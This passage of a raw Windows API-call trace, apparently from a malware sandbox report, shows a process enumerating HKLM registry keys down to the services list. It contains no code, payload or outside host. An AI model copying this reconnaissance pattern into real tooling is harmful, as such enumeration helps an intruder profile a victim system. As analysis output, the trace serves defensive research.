lpName="SECURITY") returned 0x0 [0247.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0247.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.772] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0247.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0247.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.772] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0247.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0247.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.773] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0247.773] RegCloseKey (hKey=0x80000002) returned 0x0 [0247.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0247.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0247.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0247.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0247.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.773] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.773] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0247.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f18e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0247.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.774] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0247.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0247.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.774] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0247.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0247.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.774] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0247.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0247.774] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.774] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.775] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0247.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0247.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.775] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0247.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0247.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.775] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0247.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0247.775] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.775] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.775] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0247.775] RegCloseKey (hKey=0x154) returned 0x0 [0247.776] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0247.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0247.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.776] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0247.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0247.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.776] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0247.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0247.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.776] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0247.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.776] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0247.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.777] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0247.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0247.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.777] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0247.777] RegCloseKey (hKey=0xc4) returned 0x0 [0247.777] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0247.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0247.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.777] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.777] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0247.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0247.777] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1970, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0247.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.778] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0247.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0247.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f18e0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0247.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.778] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0247.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 